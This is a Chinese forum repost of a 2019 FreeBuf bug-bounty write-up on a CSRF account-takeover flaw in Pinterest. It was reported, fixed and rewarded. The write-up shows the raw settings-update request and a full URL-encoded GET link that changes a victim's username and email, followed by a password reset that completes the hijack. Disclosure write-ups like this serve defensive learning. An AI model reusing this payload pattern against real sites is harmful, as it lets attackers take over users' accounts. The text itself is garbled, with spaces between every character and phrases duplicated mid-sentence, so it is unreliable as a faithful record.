搜索

[13687] 2019-01-23_看我如何发现Pinterest任意账号劫持漏洞

文档创建者：s7ckTeam
浏览次数：16
最后更新：2025-01-18
2019-01-23_看我如何发现Pinterest任意账号劫持漏洞 看 我 如 何 发 现 P i n t e r e s t 任 意 账 号 劫 持 漏 洞 F r e e B u f   2 0 1 9 - 0 1 - 2 3 本 文 分 享 的 是 关 于 本 文 分 享 的 是 关 于 美 国 图 片 社 交 网 站 美 国 图 片 社 交 网 站 P i n t e r e s t 的 一 个 账 号 劫 持 漏 洞 ， 漏 洞 原 因 主 要 在 于 可 以 构 造 跨 站 请 求 伪 造 的 一 个 账 号 劫 持 漏 洞 ， 漏 洞 原 因 主 要 在 于 可 以 构 造 跨 站 请 求 伪 造 ( C S R F ) 攻 击 ， 更 改 攻 击 ， 更 改 任 意 用 户 的 邮 箱 任 意 用 户 的 邮 箱 I D 和 用 户 名 ， 以 此 实 现 账 号 劫 持 。 对 于 每 月 有 和 用 户 名 ， 以 此 实 现 账 号 劫 持 。 对 于 每 月 有 2 . 5 亿 活 跃 用 户 的 亿 活 跃 用 户 的 P i n t e r e s t 网 站 来 说 ， 该 漏 洞 影 网 站 来 说 ， 该 漏 洞 影 响 非 常 严 重 。 本 文 的 漏 洞 披 露 已 经 响 非 常 严 重 。 本 文 的 漏 洞 披 露 已 经 P i n t e r e s t 官 方 允 许 ， 其 中 提 及 的 账 户 仅 为 测 试 账 户 。 官 方 允 许 ， 其 中 提 及 的 账 户 仅 为 测 试 账 户 。 P i n t e r e s t 是 美 国 热 门 的 图 片 社 交 网 站 ， P i n t e r e s t 堪 称 图 片 版 T w i t t e r ， 网 民 可 以 将 感 兴 趣 的 图 片 在 P i n t e r e s t 保 存 ， 其 他 网 友 可 以 关 注 ， 也 可 以 转 发 图 片 。 漏 洞 原 因 漏 洞 原 因 当 我 在 浏 览 “ h t t p s : / / w w w . p i n t e r e s t . c o m ” 主 站 时 ， 偶 然 发 现 ， 其 中 的 C S R F 令 牌 （ t o k e n ） 通 过 h t t p 头 的 “ X - C S R F T o k e n ” 进 行 传 输 ， 为 了 验 证 C S R F 令 牌 的 应 用 实 现 机 制 ， 我 在 B u r p S u i t e 中 构 造 了 以 下 请 求 ， 来 对 用 户 的 一 些 设 置 进 行 更 改 。 首 先 ， 在 以 上 P O S T 请 求 中 ， 我 尝 试 着 把 “ X - C S R F T o k e n ” 头 去 掉 ， 然 后 转 发 出 去 ， 反 馈 回 来 的 响 应 错 误 为 ： “ / r e s o u r c e / U s e r S e t t i n g s R e s o u r c e / u p d a t e /   d i d n ’ t   f i n i s h   a f t e r   8   s e c o n d s ” ， 也 就 意 味 着 ， 这 种 方 式 下 ， C S R F 令 牌 可 能 正 在 被 验 证 。 接 下 来 ， 我 把 P O S T 请 求 改 为 G E T 请 求 ， 并 且 仍 然 去 掉 了 ” X - C S R F T o k e n ” 头 ， 并 转 发 出 去 ， 这 一 次 反 馈 回 来 的 响 应 就 是 有 效 的 “ 2 0 0   o k ”   了 。 够 明 白 的 了 ， 当 把 P O S T 请 求 转 变 为 G E T 之 后 ， C S R F 令 牌 就 不 会 被 P i n t e r e s t 服 务 端 验 证 。 而 且 ， 经 我 测 试 发 现 ， P i n t e r e s t 应 用 的 多 个 服 务 端 都 存 在 这 种 C S R F 漏 洞 隐 患 。 账 号 劫 持 账 号 劫 持 由 于 这 是 一 个 基 于 C S R F 的 G E T 请 求 ， 基 于 P i n t e r e s t 的 各 种 服 务 端 元 素 ， 我 们 要 做 的 就 是 构 造 形 同 以 下 的 一 个 链 接 即 可 ， 在 B u r p S u i t e 中 可 用 “ c h a n g e   r e q u e s t   m e t h o d ” 选 项 来 方 便 地 构 造 。 P O S T   / _ n g j s / r e s o u r c e / U s e r S e t t i n g s R e s o u r c e / u p d a t e /   H T T P / 1 . 1 H o s t :   w w w . p i n t e r e s t . c o m C o n t e n t - T y p e :   a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d X - C S R F T o k e n :   < C S R F   T o k e n > … … . . … … . . < P O S T   P a r a m e t e r s >
任 意 P i n t e r e s t 用 户 点 击 以 上 链 接 之 后 ， 其 用 户 名 和 注 册 邮 箱 会 分 别 被 更 改 为 “ d u m m y u s e r ” 和 “ a n y t e s t e m a i l @ u s e r . c o m ” ， 当 然 了 ， a n y t e s t e m a i l @ u s e r . c o m 是 我 控 制 的 一 个 合 法 邮 箱 。 以 上 攻 击 奏 效 之 后 ， 我 再 浏 览 以 下 P i n t e r e s t 的 密 码 重 置 链 接 ： h t t p s : / / w w w . p i n t e r e s t . c o m / p a s s w o r d / r e s e t / 然 后 ， 我 登 录 我 控 制 的 这 个 a n y t e s t e m a i l @ u s e r . c o m 邮 箱 ， 获 取 到 P i n t e r e s t 发 送 给 我 的 用 户 密 码 重 置 链 接 ， 重 置 密 码 ， 接 下 来 就 能 用 d u m m y u s e r 用 户 名 和 新 密 码 登 录 受 害 者 账 号 ， 完 美 实 现 劫 持 。 漏 洞 上 报 进 程 漏 洞 上 报 进 程 感 谢   P i n t e r e s t   安 全 团 队 对 该 漏 洞 的 重 视 。 2 0 1 8 . 1 2 . 1       漏 洞 上 报 2 0 1 8 . 1 2 . 7     漏 洞 分 类 2 0 1 8 . 1 2 . 7     P i n t e r e s t 发 放 我 $ 2 4 0 0 美 金 奖 励 2 0 1 8 . 1 2 . 7     漏 洞 修 复 * 参 考 来 源 ： 参 考 来 源 ： i n f o s e c f l a s h ， ， c l o u d s 编 译 ， 转 载 请 注 明 来 自 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 阅 读 原 文 “ h t t p s : / / w w w . p i n t e r e s t . c o m / _ n g j s / r e s o u r c e / U s e r S e t t i n g s R e s o u r c e / u p d a t e / ? s o u r c e _ u r l = % 2 F s e t t i n g s % 2 F & d a t a = % 7 B % 2 2 o p t i o n s % 2 2 % 3 A % 7 B % 2 2 i m p r e s s u m _ u r l % 2 2 % 3 A n u l l % 2 C % 2 2 l a s t _ n a m e % 2 2 % 3 A % 2 2 d u m m y % 2 2 % 2 C % 2 2 c u s t o m _ g e n d e r % 2 2 % 3 A n u l l % 2 C % 2 2 l o c a l e % 2 2 % 3 A % 2 2 e n - U S % 2 2 % 2 C % 2 2 h a s _ p a s s w o r d % 2 2 % 3 A t r u e % 2 C % 2 2 e m a i l _ s e t t i n g s % 2 2 % 3 A % 2 2 E v e r y t h i n g + % 2 8 e x c e p t + e m a i l s + y o u % 2 7 v e + t u r n e d + o f f % 2 9 % 2 2 % 2 C % 2 2 n e w s _ s e t t i n g s % 2 2 % 3 A % 2 2 A c t i v i t y + f r o m + o t h e r + p e o p l e + o n + P i n t e r e s t % 2 2 % 2 C % 2 2 i d % 2 2 % 3 A % 2 2 % 2 2 % 2 C % 2 2 i s _ w r i t e _ b a n n e d % 2 2 % 3 A f a l s e % 2 C % 2 2 f i r s t _ n a m e % 2 2 % 3 A % 2 2 d u m m y u s e r % 2 2 % 2 C % 2 2 p u s h _ s e t t i n g s % 2 2 % 3 A % 2 2 E v e r y t h i n g + % 2 8 e x c e p t + p u s h + y o u % 2 7 v e + t u r n e d + o f f % 2 9 % 2 2 % 2 C % 2 2 p e r s o n a l i z e _ f r o m _ o f f s i t e _ b r o w s i n g % 2 2 % 3 A t r u e % 2 C % 2 2 f a c e b o o k _ t i m e l i n e _ e n a b l e d % 2 2 % 3 A f a l s e % 2 C % 2 2 e m a i l _ c h a n g i n g _ t o % 2 2 % 3 A n u l l % 2 C % 2 2 p e r s o n a l i z e _ n u x _ f r o m _ o f f s i t e _ b r o w s i n g % 2 2 % 3 A f a l s e % 2 C % 2 2 i s _ t a s t e m a k e r % 2 2 % 3 A f a l s e % 2 C % 2 2 t y p e % 2 2 % 3 A % 2 2 u s e r _ s e t t i n g s % 2 2 % 2 C % 2 2 % 2 2 % 2 C % 2 2 w e b s i t e _ u r l % 2 2 % 3 A % 2 2 % 2 2 % 2 C % 2 2 l o c a t i o n % 2 2 % 3 A % 2 2 % 2 2 % 2 C % 2 2 % 2 2 % 2 C % 2 2 p f y _ p r e f e r e n c e % 2 2 % 3 A t r u e % 2 C % 2 2 f a c e b o o k _ p u b l i s h _ s t r e a m _ e n a b l e d % 2 2 % 3 A f a l s e % 2 C % 2 2 e m a i l _ b o u n c e d % 2 2 % 3 A f a l s e % 2 C % 2 2 i s _ p a r t n e r % 2 2 % 3 A n u l l % 2 C % 2 2 a d s _ c u s t o m i z e _ f r o m _ c o n v e r s i o n % 2 2 % 3 A t r u e % 2 C % 2 2 a d d i t i o n a l _ w e b s i t e _ u r l s % 2 2 % 3 A % 5 B % 5 D % 2 C % 2 2 a b o u t % 2 2 % 3 A % 2 2 t e s t % 2 2 % 2 C % 2 2 g e n d e r % 2 2 % 3 A % 2 2 m a l e % 2 2 % 2 C % 2 2 a g e % 2 2 % 3 A n u l l % 2 C % 2 2 e x c l u d e _ f r o m _ s e a r c h % 2 2 % 3 A f a l s e % 2 C % 2 2 b i r t h d a t e % 2 2 % 3 A n u l l % 2 C % 2 2 s h o w _ i m p r e s s u m % 2 2 % 3 A f a l s e % 2 C % 2 2 e m a i l _ b i z _ s e t t i n g s % 2 2 % 3 A % 2 2 E v e r y t h i n g + % 2 8 i n c l u d e s + a n n o u n c e m e n t s % 2 C + e x p e r t + t i p s % 2 C + c r e a t i v e + i d e a s % 2 C + a n d + m o r e % 2 9 % 2 2 % 2 C % 2 2 c o u n t r y % 2 2 % 3 A % 2 2 I N % 2 2 % 2 C % 2 2 h i d e _ f r o m _ n e w s % 2 2 % 3 A f a l s e % 2 C % 2 2 c o l l a b o r a t i v e _ b o a r d s % 2 2 % 3 A % 5 B % 5 D % 7 D % 2 C % 2 2 c o n t e x t % 2 2 % 3 A % 7 B % 7 D % 7 D ”
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理